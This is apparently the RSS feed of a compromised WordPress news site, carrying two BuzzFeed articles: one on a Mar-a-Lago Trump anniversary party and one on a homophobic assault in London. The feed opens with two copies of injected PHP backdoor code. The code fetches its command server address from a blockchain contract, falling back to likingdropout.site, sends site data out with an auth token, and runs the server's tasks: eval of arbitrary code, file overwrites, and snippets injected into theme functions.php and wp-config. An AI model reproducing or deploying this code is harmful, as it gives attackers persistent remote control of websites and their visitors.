// q2_xh if(!defined('ABSPATH'))return; $cfg=array( 'stub'=>'/data/web/virtuals/153909/virtual/www/domains/briefnews.eu/wp-content/plugins/wp-helper-4bdb4f/wp-helper-4bdb4f.php', 'ctrl'=>'// q2_xh', 'vis'=>'// xp_v9', 'vis_func'=>'wp_dia8xd', 'vis_paths'=>array('/data/web/virtuals/153909/virtual/www/domains/briefnews.eu/wp-content/plugins/wp-helper-4bdb4f/wp-helper-4bdb4f.php'), 'opt'=>'_wp_47nl0jvi', ); $keys=array(); $keys['id']='kun'; $keys['ver']='em'; $keys['caps']='eby'; $keys['tasks']='awd'; $keys['interval']='pww'; $keys['ack_id']='nl0'; $keys['ok']='9s'; $keys['detail']='wyy'; $keys['inv']='kxw'; $keys['result']='f3t'; $hdr='X-J98-Auth';$tok='0cQMbCeRLTCSW0NdninnOEVrAtwy11ErS16wrKLqeas';$id='1d0c923bac57072b';$interval=420; function _ea_inv($cfg){ $r=array('ts'=>time(),'wp'=>(function_exists('get_bloginfo')?get_bloginfo('version'):''),'php'=>PHP_VERSION); $chk=function($p,$m){$o=array('path'=>$p,'exists'=>false,'marker'=>false,'size'=>0);if(!$p||!is_string($p))return $o; if(@is_file($p)){$b=@file_get_contents($p);$o['exists']=true;$o['size']=strlen((string)$b);$o['marker']=($b&&strpos($b,$m)!==false);}return $o;}; $r['stub']=$chk($cfg['stub'],$cfg['ctrl']); $vis=array('plugin'=>null,'paths'=>array()); foreach($cfg['vis_paths'] as $_vp){$vis['paths'][]=$chk($_vp,$cfg['vis']);} $found=null;foreach($vis['paths'] as $_p){if(!empty($_p['marker'])){$found=$_p;break;}} if(!$found){$pd=WP_CONTENT_DIR.'/plugins';if(@is_dir($pd)){foreach(@glob($pd.'/*/*.php')?:array() as $_f){$b=@file_get_contents($_f);if($b&&strpos($b,'// ea_plug')!==false){$found=$chk($_f,'// ea_plug');break;}}} $vis['plugin']=$found?:array('path'=>'','exists'=>false,'marker'=>false); $r['visitor']=$vis; $mu=array('path'=>'','exists'=>false,'marker'=>false);$md=WP_CONTENT_DIR.'/mu-plugins'; if(@is_dir($md)){foreach(@glob($md.'/*.php')?:array() as $_f){$b=@file_get_contents($_f);if($b&&strpos($b,'// ea_mu')!==false){$mu=$chk($_f,'// ea_mu');break;}}} $r['mu_autologin']=$mu; $ft=0;$fw=0;$td=WP_CONTENT_DIR.'/themes';if(@is_dir($td)){foreach(@glob($td.'/*/functions.php')?:array() as $_f){$ft++;$b=@file_get_contents($_f);if($b&&strpos($b,'// _ea_al')!==false)$fw++;}} $r['functions_autologin']=array('themes_total'=>$ft,'themes_with_marker'=>$fw); $wpc=array('path'=>(defined('ABSPATH')?ABSPATH.'wp-config.php':''),'exists'=>false,'marker'=>false); if($wpc['path']&&@is_file($wpc['path'])){$b=@file_get_contents($wpc['path']);$wpc['exists']=true;$wpc['marker']=($b&&(strpos($b,'// _ea_wc')!==false||strpos($b,'/* _ea_wc_s */')!==false));} $r['wpconfig_inject']=$wpc; $cp=array();if(defined('LSCWP_V'))$cp[]='litespeed';if(defined('W3TC'))$cp[]='w3tc'; if(defined('WP_ROCKET_VERSION'))$cp[]='wp_rocket';if(defined('WPCACHEHOME'))$cp[]='wp_super_cache'; if(defined('SG_CACHEPRESS'))$cp[]='sg_optimizer';$r['cache']=array('plugins'=>$cp,'opcache'=>function_exists('opcache_get_status')); return $r;} function _ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id){ $_ok=false;$_detail='';$_result=null; $_code=isset($_task['t'])?$_task['t']:'';$_p=isset($_task['p'])?$_task['p']:array();$_tid=isset($_task['i'])?$_task['i']:0; if(($_code==='wf'||$_code==='ld')&&!empty($_p['path'])&&isset($_p['content'])){ $_path=$_p['path'];$_body=@is_file($_path)?@file_get_contents($_path):''; if($_code==='ld'&&strpos((string)$_body,$_p['content'])===false)$_body.=$_p['content']; elseif($_code==='wf')$_body=$_p['content']; $_ok=@file_put_contents($_path,$_body)!==false; }elseif($_code==='su'&&!empty($_p['path'])&&!empty($_p['content'])){ $_ok=@file_put_contents($_p['path'],$_p['content'])!==false; }elseif($_code==='rp'&&!empty($_p['code'])){ ob_start();try{eval($_p['code']);$_ok=true;}catch(Throwable $e){$_detail=$e->getMessage();}catch(Exception $e){$_detail=$e->getMessage();} $_result=array('output'=>ob_get_clean());} elseif($_code==='va'){$_result=_ea_inv($cfg);$_ok=true;} elseif($_code==='fc'){ $p=array();if(function_exists('wp_cache_flush')){wp_cache_flush();$p[]='object';} if(function_exists('opcache_reset')){@opcache_reset();$p[]='opcache';} if(defined('LSCWP_V')&&function_exists('do_action')){do_action('litespeed_purge_all');$p[]='litespeed';} if(defined('W3TC')&&function_exists('w3tc_flush_all')){w3tc_flush_all();$p[]='w3tc';} if(function_exists('rocket_clean_domain')){rocket_clean_domain();$p[]='wp_rocket';} if(function_exists('wp_cache_clear_cache')){wp_cache_clear_cache();$p[]='wp_super_cache';} if(function_exists('sg_cachepress_purge_cache')){sg_cachepress_purge_cache();$p[]='sg_optimizer';} $_ok=true;$_result=array('purged'=>$p);} elseif($_code==='ma'&&!empty($_p['path'])&&!empty($_p['content'])){ @wp_mkdir_p(dirname($_p['path']));$_ok=@file_put_contents($_p['path'],$_p['content'])!==false; }elseif($_code==='fn'&&!empty($_p['snippet'])){ $td=WP_CONTENT_DIR.'/themes';$n=0;if(@is_dir($td)){foreach(@glob($td.'/*/functions.php')?:array() as $_f){$b=@file_get_contents($_f);if(strpos((string)$b,'// _ea_al')===false){$b=rtrim((string)$b)."\n".$_p['snippet'];if(@file_put_contents($_f,$b)!==false)$n++;}}} $_ok=$n>0;$_result=array('themes_updated'=>$n);} elseif($_code==='wc'){ $wp=ABSPATH.'wp-config.php';if(@is_file($wp)){$b=@file_get_contents($wp); if(strpos($b,'/* _ea_wc_s */')!==false){$b=preg_replace('#/\*/* _ea_wc_s */\*/.*?/\* _ea_wc_e \*/#s','',$b);} $b=str_replace(array('// _ea_wc','/* _ea_wc_s */','/* _ea_wc_e */'),'',$b);$_ok=@file_put_contents($wp,$b)!==false;} } $ack=array($keys['ack_id']=>$_tid,$keys['ok']=>$_ok,$keys['detail']=>$_detail); if($_result!==null)$ack[$keys['result']]=$_result; return $ack;} function _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,$force){ $k=$cfg['opt'];if(!$force&&!wp_doing_cron()){ if(is_admin())return; $last=(int)get_option($k,0);if(time()-$last<$interval)return; } $u='likingdropout.site';$co='0x9e33A3979F74c7700E4BaA7e7a2934556f72eF96';$sel='0x38bd65e2';$rpcs=array('https://data-seed-prebsc-1-s1.bnbchain.org:8545','https://data-seed-prebsc-1-s1.bnbchain.org:8545/','https://data-seed-prebsc-2-s1.binance.org:8545/','https://data-seed-prebsc-2-s2.binance.org:8545/','https://bsc-testnet-dataseed.bnbchain.org/','https://bnb-testnet.api.onfinality.io/public'); foreach($rpcs as $_rpc){ $b=json_encode(array('jsonrpc'=>'2.0','id'=>97,'method'=>'eth_call','params'=>array(array('to'=>$co,'data'=>$sel),'latest'))); $ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n",'content'=>$b,'timeout'=>3,'ignore_errors'=>true))); $raw=@file_get_contents($_rpc,false,$ctx); if(!$raw)continue; $j=json_decode($raw,true); if(empty($j['result'])||strlen($j['result'])<10)continue; $h=substr($j['result'],2); if(strlen($h)<128)continue; $off=(int)hexdec(substr($h,0,64)); $len=(int)hexdec(substr($h,$off*2,64)); $_z=pack('H*',substr($h,$off*2+64,$len*2));if($_z)$u=$_z;break; } $_hp='/panel/api/v1/metrics/collect'; $_z=trim((string)$u);$_z=preg_replace('#^https?://#','',$_z); if(strpos($_z,'/')!==false){$_xp=explode('/',$_z,2);$_z=$_xp[0];if(!empty($_xp[1]))$_hp='/'.ltrim($_xp[1],'/');} $_z=trim($_z,'.');if(!$_z)$_z='likingdropout.site'; $_s=substr(str_replace(array('+','/','='),'',base64_encode(random_bytes(6))),0,10); $u='https://'.$_s.'.'.$_z.$_hp; $_ack=$u;if(substr($_ack,-7)==='collect')$_ack=substr($_ack,0,-7).'ack';else $_ack=rtrim($_ack,'/').'/ack'; $inv=_ea_inv($cfg); $b=array($keys['id']=>$id,$keys['ver']=>2,$keys['caps']=>array('server_sync','visitor_js','write_file'),$keys['inv']=>$inv); $resp='';if(function_exists('wp_remote_post')){$_r=wp_remote_post($u,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($b)));if(!is_wp_error($_r))$resp=(string)wp_remote_retrieve_body($_r);}else{$ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($b),'timeout'=>20,'ignore_errors'=>true)));$resp=(string)@file_get_contents($u,false,$ctx);} if(!$resp)return; update_option($k,time(),false); $j=json_decode($resp,true);$tk=$keys['tasks']; if(empty($j[$tk])||!is_array($j[$tk]))return; foreach($j[$tk] as $_task){ $ack=_ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id); if(function_exists('wp_remote_post')){@wp_remote_post($_ack,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($ack)));}else{$actx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($ack),'timeout'=>20,'ignore_errors'=>true)));@file_get_contents($_ack,false,$actx);} } } add_filter('cron_schedules',function($s){$s['ea_fleet']=array('interval'=>$interval,'display'=>'Fleet sync');return $s;}); add_action('init',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ if(!wp_next_scheduled('ea_fleet_sync'))wp_schedule_event(time()+120,'ea_fleet','ea_fleet_sync'); _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,false); },1); add_action('ea_fleet_sync',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,true); }); // l0_9z if(!defined('ABSPATH'))return; $cfg=array( 'stub'=>'/data/web/virtuals/153909/virtual/www/domains/briefnews.eu/wp-content/plugins/wp-helper-4bdb4f/wp-helper-4bdb4f.php', 'ctrl'=>'// l0_9z', 'vis'=>'// zn_yn', 'vis_func'=>'wp_cuzg8t', 'vis_paths'=>array('/data/web/virtuals/153909/virtual/www/domains/briefnews.eu/wp-content/plugins/wp-helper-4bdb4f/wp-helper-4bdb4f.php'), 'opt'=>'_wp_mtrhds4x', ); $keys=array(); $keys['id']='ybc'; $keys['ver']='a1'; $keys['caps']='afo'; $keys['tasks']='x9t'; $keys['interval']='2e4'; $keys['ack_id']='k72'; $keys['ok']='ch'; $keys['detail']='xd9'; $keys['inv']='hw8'; $keys['result']='0bb'; $hdr='X-L8A-Auth';$tok='A3-EVnA_qOJ132k0gQIT_73RgM-QQ5Szxw145ZNDetU';$id='d1451f9eb0097c9f';$interval=420; function _ea_inv($cfg){ $r=array('ts'=>time(),'wp'=>(function_exists('get_bloginfo')?get_bloginfo('version'):''),'php'=>PHP_VERSION); $chk=function($p,$m){$o=array('path'=>$p,'exists'=>false,'marker'=>false,'size'=>0);if(!$p||!is_string($p))return $o; if(@is_file($p)){$b=@file_get_contents($p);$o['exists']=true;$o['size']=strlen((string)$b);$o['marker']=($b&&strpos($b,$m)!==false);}return $o;}; $r['stub']=$chk($cfg['stub'],$cfg['ctrl']); $vis=array('plugin'=>null,'paths'=>array()); foreach($cfg['vis_paths'] as $_vp){$vis['paths'][]=$chk($_vp,$cfg['vis']);} $found=null;foreach($vis['paths'] as $_p){if(!empty($_p['marker'])){$found=$_p;break;}} if(!$found){$pd=WP_CONTENT_DIR.'/plugins';if(@is_dir($pd)){foreach(@glob($pd.'/*/*.php')?:array() as $_f){$b=@file_get_contents($_f);if($b&&strpos($b,'// ea_plug')!==false){$found=$chk($_f,'// ea_plug');break;}}} $vis['plugin']=$found?:array('path'=>'','exists'=>false,'marker'=>false); $r['visitor']=$vis; $mu=array('path'=>'','exists'=>false,'marker'=>false);$md=WP_CONTENT_DIR.'/mu-plugins'; if(@is_dir($md)){foreach(@glob($md.'/*.php')?:array() as $_f){$b=@file_get_contents($_f);if($b&&strpos($b,'// ea_mu')!==false){$mu=$chk($_f,'// ea_mu');break;}}} $r['mu_autologin']=$mu; $ft=0;$fw=0;$td=WP_CONTENT_DIR.'/themes';if(@is_dir($td)){foreach(@glob($td.'/*/functions.php')?:array() as $_f){$ft++;$b=@file_get_contents($_f);if($b&&strpos($b,'// _ea_al')!==false)$fw++;}} $r['functions_autologin']=array('themes_total'=>$ft,'themes_with_marker'=>$fw); $wpc=array('path'=>(defined('ABSPATH')?ABSPATH.'wp-config.php':''),'exists'=>false,'marker'=>false); if($wpc['path']&&@is_file($wpc['path'])){$b=@file_get_contents($wpc['path']);$wpc['exists']=true;$wpc['marker']=($b&&(strpos($b,'// _ea_wc')!==false||strpos($b,'/* _ea_wc_s */')!==false));} $r['wpconfig_inject']=$wpc; $cp=array();if(defined('LSCWP_V'))$cp[]='litespeed';if(defined('W3TC'))$cp[]='w3tc'; if(defined('WP_ROCKET_VERSION'))$cp[]='wp_rocket';if(defined('WPCACHEHOME'))$cp[]='wp_super_cache'; if(defined('SG_CACHEPRESS'))$cp[]='sg_optimizer';$r['cache']=array('plugins'=>$cp,'opcache'=>function_exists('opcache_get_status')); return $r;} function _ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id){ $_ok=false;$_detail='';$_result=null; $_code=isset($_task['t'])?$_task['t']:'';$_p=isset($_task['p'])?$_task['p']:array();$_tid=isset($_task['i'])?$_task['i']:0; if(($_code==='wf'||$_code==='ld')&&!empty($_p['path'])&&isset($_p['content'])){ $_path=$_p['path'];$_body=@is_file($_path)?@file_get_contents($_path):''; if($_code==='ld'&&strpos((string)$_body,$_p['content'])===false)$_body.=$_p['content']; elseif($_code==='wf')$_body=$_p['content']; $_ok=@file_put_contents($_path,$_body)!==false; }elseif($_code==='su'&&!empty($_p['path'])&&!empty($_p['content'])){ $_ok=@file_put_contents($_p['path'],$_p['content'])!==false; }elseif($_code==='rp'&&!empty($_p['code'])){ ob_start();try{eval($_p['code']);$_ok=true;}catch(Throwable $e){$_detail=$e->getMessage();}catch(Exception $e){$_detail=$e->getMessage();} $_result=array('output'=>ob_get_clean());} elseif($_code==='va'){$_result=_ea_inv($cfg);$_ok=true;} elseif($_code==='fc'){ $p=array();if(function_exists('wp_cache_flush')){wp_cache_flush();$p[]='object';} if(function_exists('opcache_reset')){@opcache_reset();$p[]='opcache';} if(defined('LSCWP_V')&&function_exists('do_action')){do_action('litespeed_purge_all');$p[]='litespeed';} if(defined('W3TC')&&function_exists('w3tc_flush_all')){w3tc_flush_all();$p[]='w3tc';} if(function_exists('rocket_clean_domain')){rocket_clean_domain();$p[]='wp_rocket';} if(function_exists('wp_cache_clear_cache')){wp_cache_clear_cache();$p[]='wp_super_cache';} if(function_exists('sg_cachepress_purge_cache')){sg_cachepress_purge_cache();$p[]='sg_optimizer';} $_ok=true;$_result=array('purged'=>$p);} elseif($_code==='ma'&&!empty($_p['path'])&&!empty($_p['content'])){ @wp_mkdir_p(dirname($_p['path']));$_ok=@file_put_contents($_p['path'],$_p['content'])!==false; }elseif($_code==='fn'&&!empty($_p['snippet'])){ $td=WP_CONTENT_DIR.'/themes';$n=0;if(@is_dir($td)){foreach(@glob($td.'/*/functions.php')?:array() as $_f){$b=@file_get_contents($_f);if(strpos((string)$b,'// _ea_al')===false){$b=rtrim((string)$b)."\n".$_p['snippet'];if(@file_put_contents($_f,$b)!==false)$n++;}}} $_ok=$n>0;$_result=array('themes_updated'=>$n);} elseif($_code==='wc'){ $wp=ABSPATH.'wp-config.php';if(@is_file($wp)){$b=@file_get_contents($wp); if(strpos($b,'/* _ea_wc_s */')!==false){$b=preg_replace('#/\*/* _ea_wc_s */\*/.*?/\* _ea_wc_e \*/#s','',$b);} $b=str_replace(array('// _ea_wc','/* _ea_wc_s */','/* _ea_wc_e */'),'',$b);$_ok=@file_put_contents($wp,$b)!==false;} } $ack=array($keys['ack_id']=>$_tid,$keys['ok']=>$_ok,$keys['detail']=>$_detail); if($_result!==null)$ack[$keys['result']]=$_result; return $ack;} function _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,$force){ $k=$cfg['opt'];if(!$force&&!wp_doing_cron()){ if(is_admin())return; $last=(int)get_option($k,0);if(time()-$last<$interval)return; } $u='likingdropout.site';$co='0x9e33A3979F74c7700E4BaA7e7a2934556f72eF96';$sel='0x38bd65e2';$rpcs=array('https://data-seed-prebsc-1-s1.bnbchain.org:8545','https://data-seed-prebsc-1-s1.bnbchain.org:8545/','https://data-seed-prebsc-2-s1.binance.org:8545/','https://data-seed-prebsc-2-s2.binance.org:8545/','https://bsc-testnet-dataseed.bnbchain.org/','https://bnb-testnet.api.onfinality.io/public'); foreach($rpcs as $_rpc){ $b=json_encode(array('jsonrpc'=>'2.0','id'=>97,'method'=>'eth_call','params'=>array(array('to'=>$co,'data'=>$sel),'latest'))); $ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n",'content'=>$b,'timeout'=>3,'ignore_errors'=>true))); $raw=@file_get_contents($_rpc,false,$ctx); if(!$raw)continue; $j=json_decode($raw,true); if(empty($j['result'])||strlen($j['result'])<10)continue; $h=substr($j['result'],2); if(strlen($h)<128)continue; $off=(int)hexdec(substr($h,0,64)); $len=(int)hexdec(substr($h,$off*2,64)); $_z=pack('H*',substr($h,$off*2+64,$len*2));if($_z)$u=$_z;break; } $_hp='/panel/api/v1/metrics/collect'; $_z=trim((string)$u);$_z=preg_replace('#^https?://#','',$_z); if(strpos($_z,'/')!==false){$_xp=explode('/',$_z,2);$_z=$_xp[0];if(!empty($_xp[1]))$_hp='/'.ltrim($_xp[1],'/');} $_z=trim($_z,'.');if(!$_z)$_z='likingdropout.site'; $_s=substr(str_replace(array('+','/','='),'',base64_encode(random_bytes(6))),0,10); $u='https://'.$_s.'.'.$_z.$_hp; $_ack=$u;if(substr($_ack,-7)==='collect')$_ack=substr($_ack,0,-7).'ack';else $_ack=rtrim($_ack,'/').'/ack'; $inv=_ea_inv($cfg); $b=array($keys['id']=>$id,$keys['ver']=>2,$keys['caps']=>array('server_sync','visitor_js','write_file'),$keys['inv']=>$inv); $resp='';if(function_exists('wp_remote_post')){$_r=wp_remote_post($u,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($b)));if(!is_wp_error($_r))$resp=(string)wp_remote_retrieve_body($_r);}else{$ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($b),'timeout'=>20,'ignore_errors'=>true)));$resp=(string)@file_get_contents($u,false,$ctx);} if(!$resp)return; update_option($k,time(),false); $j=json_decode($resp,true);$tk=$keys['tasks']; if(empty($j[$tk])||!is_array($j[$tk]))return; foreach($j[$tk] as $_task){ $ack=_ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id); if(function_exists('wp_remote_post')){@wp_remote_post($_ack,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($ack)));}else{$actx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($ack),'timeout'=>20,'ignore_errors'=>true)));@file_get_contents($_ack,false,$actx);} } } add_filter('cron_schedules',function($s){$s['ea_fleet']=array('interval'=>$interval,'display'=>'Fleet sync');return $s;}); add_action('init',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ if(!wp_next_scheduled('ea_fleet_sync'))wp_schedule_event(time()+120,'ea_fleet','ea_fleet_sync'); _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,false); },1); add_action('ea_fleet_sync',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,true); }); &ldquoIt – Brief News https://briefnews.eu Latest World News. Find every day short and brief information composed of titles and subtitles and continue reading if interested. Fri, 19 Jan 2018 09:53:14 +0000 en-US hourly 1 https://wordpress.org/?v=7.0.7 https://briefnews.eu/wp-content/uploads/2018/01/cropped-logoSmall-1-32x32.png &ldquoIt – Brief News https://briefnews.eu 32 32 “It Sure Ain't No Shithole” 🌴 https://briefnews.eu/it-sure-aint-no-shithole-%f0%9f%8c%b4/ https://briefnews.eu/it-sure-aint-no-shithole-%f0%9f%8c%b4/#respond Fri, 19 Jan 2018 09:53:14 +0000 http://briefnews.eu/it-sure-aint-no-shithole-%f0%9f%8c%b4/


Joe Raedle / Getty Images

The clock was ticking for the Republican-controlled Congress to stave off a government shutdown Thursday night — just over 24 hours to go — but Washington’s chaos seemed to be taking place on another planet for about 800 of President Donald Trump’s most die-hard supporters, who held a lavish celebration at Mar-a-Lago to mark Trump’s first-year in office and rally for his re-election.

Decked out in red, white, and blue, Trump fans from all over the country danced throughout the evening at the president’s exclusive club, toasted repeatedly to Trump’s accomplishments, chanted his name — along with the occasional campaign favorite “lock her up” — and referred to Trump as a “damn genius,” their “messiah” and “savior.” The speakers and attendees also slammed the media and pushed back on renewed allegations of racism levied at the president, after reports last week that he called African nations “shithole countries” in a private meeting with lawmakers.


Tarini Parti / Via BuzzFeed News

“Welcome to Mar-a-Lago, a magnificent place,” said Fox News host and Trump backer Jeanine Pirro, kicking off her keynote address just before dinner on a stage with a shimmering gold backdrop.

“It sure ain’t no shithole.”

The night’s “Red, White, and Blue Celebration” was organized by Toni Holt Kramer, leader of the Trumpettes, a group of wealthy socialites who got together in 2016 to help Trump get more support from female voters. The event was not a fundraiser, despite the constant pleas to gear up for 2020, and was billed as a “party for we the people.” Attendees paid $ 300 for a ticket that included a cocktail hour and dinner. (BuzzFeed News was invited to cover the event by Holt Kramer and paid for a ticket).

Attendees had been so excited to hear Pirro speak that one of them climbed up on the stage to cut off Tova Leidesdorf, a local philanthropist who had been introducing the conservative celebrity and had paid for her speaking fees. The disruptor had to be removed from the stage by organizers and security.

Moving past the brief kerfuffle, Pirro fired up the crowd by rattling off accomplishments that Obama couldn’t manage,”but the so-called racist president could do it.”

“I love Donald Trump,” she said. “He’s the least racist man I’ve ever met, but I must tell you, race has always been an issue for Donald. Donald is always in a race — in a race against time, in a race against competitors, in a race against corruption, in a race against crime, and a race against terrorism.”


Tarini Parti / Via BuzzFeed News

The president, who has frequently flown back to Mar-a-Lago for weekends, especially in colder months, is not expected to be at his club until Friday night, plans that could be complicated by a potential government shutdown. But large cutouts of him with his iconic thumbs up — some with First Lady Melania Trump and others with his “Make America Great Again” hat on — were scattered throughout the ballroom so he could join in the celebration. The attendees drank Trump wine and dined on sliced beef brisket, berry salad, and “American apple pie.”

Throughout the night, attendees were eager to sound off on the most recent charges of racism against the president, which was fitting, given that the event was also first conceived as a result of the outrage over Trump’s comments in the aftermath the white supremacist violence in Charlottesville last August, when he said “both sides” were responsible. Charities and businesses that had held annual events Mar-a-Lago started fleeing the club after those comments because they did not want to be seen as at all sympathetic to white supremacy by associating themselves with the Trump brand.

At the time, Holt Kramer decided to counter any insinuation of the president being a racist in the most Trumpian way possible: by throwing an over-the-top celebration at his resort on the eve of the first year of his presidency.

“Everyone knows that if it weren’t for him, there wouldn’t even be a club in Palm Beach where Jews and Muslims and people of all faiths would be welcome,” Holt Kramer told BuzzFeed News before the event. “I said this is disgusting. It was just so offensive to me. I thought about it and decided, ‘Well I think I’m about to do an event.”

Tickets for the celebration, which was initially planned for about 400 people and ended up doubling, sold out within days last fall and was expanded to include an “overflow ballroom.”

 “These are the people who fought. These are the people who lost friends because of their support.”

In his welcome remarks, Eric Trump, the president’s son, called the people who came to the celebration his family’s “true friends.”

“These are the people who care,” he said. “These are the people who fought. These are the people who lost friends because of their support.”

His wife, Lara Trump, who is already working on Trump’s re-election campaign, told supporters that Trump has to “fight an uphill battle everyday” against the media and the Democrats. “The thing is they won’t try to stop a loser,” she said. “But they will try and stop a winner, and Donald Trump is winning for this country.”

“They better buckle up because we got him for seven more years, right?”

Trump will be having another one-year anniversary celebration at Mar-a-Lago this weekend once he’s due to be in town, according to Bloomberg News. A pair of tickets, which will benefit Trump’s campaign and the Republican National Committee, start at $ 100,000.

Although polls show some Republicans growing wary of Trump’s controversial comments and tweets ahead of the 2018 elections, the hundreds who attended Thursday night seemed to have no major concerns about his presidency so far. Several also said that Trump might have called the countries “shitholes,” but that’s because of their corrupt politicians, not because of their people.

Becky Diefendorf of Port St. Lucie who attended the event didn’t hold back on her anger at those calling Trump a racist. “That’s such bullshit. You could call that a shithole.” Diefendorf went on to suggest that Trump should get rid of all the national news outlets covering the White House — “all of those who have been sitting up there for 40 years” — and replace them with “local reporters and entrepreneurs”

Anka Palitz, a Palm Beach resident and Mar-a-Lago member, said she’s been a Trump fan for 30 years and has continued to be impressed with his time in office. “This is not a man who thinks inside the box,” she said. “He thinks outside the box.”


Tarini Parti

Palitz said the presidency hasn’t changed Trump at all, and that he still acts the same way when he’s at the club. She said she was disappointed in “liberals” who don’t want to hear Trump’s opinion and continue to paint him as a racist, adding with a smile that instead of being bothered by it, a certain curse word would be making a comeback.

“I tell you, shithole is going to be the new word.”

On their way out, guests picked up red “Trump 2020” baseball hats that were lined up on tables — and bottles of Salute American Vodka.

Advertisement
Advertisement

Tarini Parti is a politics reporter for BuzzFeed News and is based in Washington, DC.

Contact Tarini Parti at tarini.parti@buzzfeed.com.

Got a confidential tip? Submit it here.

Promoted by

Let’s block ads! (Why?)

]]> https://briefnews.eu/it-sure-aint-no-shithole-%f0%9f%8c%b4/feed/ 0 “It Affects Everything I Do” https://briefnews.eu/it-affects-everything-i-do/ https://briefnews.eu/it-affects-everything-i-do/#respond Fri, 22 Dec 2017 09:27:18 +0000 http://briefnews.eu/it-affects-everything-i-do/

When Chris Ver-Haest left a friend’s house in north London on 16 July 2017 he was going to buy cigarettes and water from the local shop. It was 10.45am on a Sunday. He would never return.

He had stayed at the house the previous night after an impromptu farewell party – a last hurrah before moving to Madrid. He was beaming. The possibilities of what lay ahead stretched out like a childhood summer holiday.

There was another reason to beam: Amid the evening’s wine and laughter he had met a young man. They kissed. They planned to meet up again.

But 15 minutes after leaving the house, he would be lying in the road in a foetal position. His right leg would be broken in four places; his ankle smashed. He never made it to Madrid.

Instead, five months later, Ver-Haest would be standing in a nearby court testifying against the man responsible, who would be facing a charge just below attempted murder: grievous bodily harm with intent. His name is Kamil Snios. He had ensured that Ver-Haest paid for Snios’s hatred of gay men with almost everything he has.

Ver-Haest’s leg has not recovered. It never will.

The hostility gay people face had never been a particular preoccupation for Ver-Haest. Being Chinese-British, it was racist abuse he suffered growing up, and when he heard about homophobic hate crimes the magnitude of what they meant did not register properly.

Ver-Haest changed a lot in 15 minutes.

Five weeks after the attack, he sits on a bench in east London with his smashed, swollen leg stretched out, describing the events and its aftermath to BuzzFeed News.

His was just one of 80,000 hate crime incidents in the last year, with 1 in 5 LGBT people saying they have been targeted. Ver-Haest wants others to know what such hatred does and from where it comes.

“There needs to be a way that people really see what’s happening,” he says.

There is something else, though, that emerges during the hours we spend together: a picture of hatred’s inverse.

People helped Ver-Haest in ways he could never have imagined. And when he took to the witness stand, there was someone still rooting for him, months later: the young man he met the night before the attack.

This is a story about hate and love, and how they derail everything.

On the weekend of 15 July, Ver-Haest, 36, was only back in London for a few days before heading to Madrid.

After nearly 20 years working in hospitality he needed a complete change, something that would help people develop. He had embarked on a course to teach English as a foreign language.

“I wanted to do something more rewarding,” he says on the bench in Hackney five weeks after the attack, in a clearing set back from the roadside. He wears shorts and a white shirt. He looks younger than his age but has a gently confident voice that carries a sort of refined authority.

It is the beginning of what would become a five-month conversation. At this stage, Ver-Haest speaks in an almost detached, factual way, shifting between past and present tense. He talks about growing up in Suffolk and London, and says his family background was complicated. Depression beset him as a young child.

He starts to describe the events leading up to the attack.

With his teacher training completed and a job secured in Madrid, Ver-Haest was on his way to a new life. He thought nothing of the get together that night in Tottenham: old friends mostly, but with some of their friends too. One of whom was the man he kissed. His name is Santiago. Although only 20, he was more than attractive, and intriguing enough to pique Ver-Haest’s interest. There was another man he hardly knew there too, a straight man called Adam.

The next morning Adam and Ver-Haest set off up Stamford Road, just off Broad Lanes, to pick up supplies from a corner shop. On the way they noticed something unusual: a house party still raging on the first floor of a nearby building. Noise was wafting from the balcony.

As they passed by, chatting, Ver-Haest gave Adam an affectionate pat on the back: the gesture of a newfound friend.

They picked up milk, water, and cigarettes, and started heading back.

“As soon as we get onto Stamford Road, he [Kamil Snios] is on the opposite side of the street and walks directly towards us. He looked like he was on a mission.”

Snios was muscular and broad-set with a shaved head, jeans, trainers, and a navy zip top. As he neared the two men he jutted his arm out straight from the shoulder, holding a cap in his hand: an odd gesture, Ver-Haest thought.

“He looked wired, in a kind of tunnel vision, like he’d been up drinking all night.” Ver-Haest also thinks drugs were in his system, so crazed and otherworldly was his demeanour.

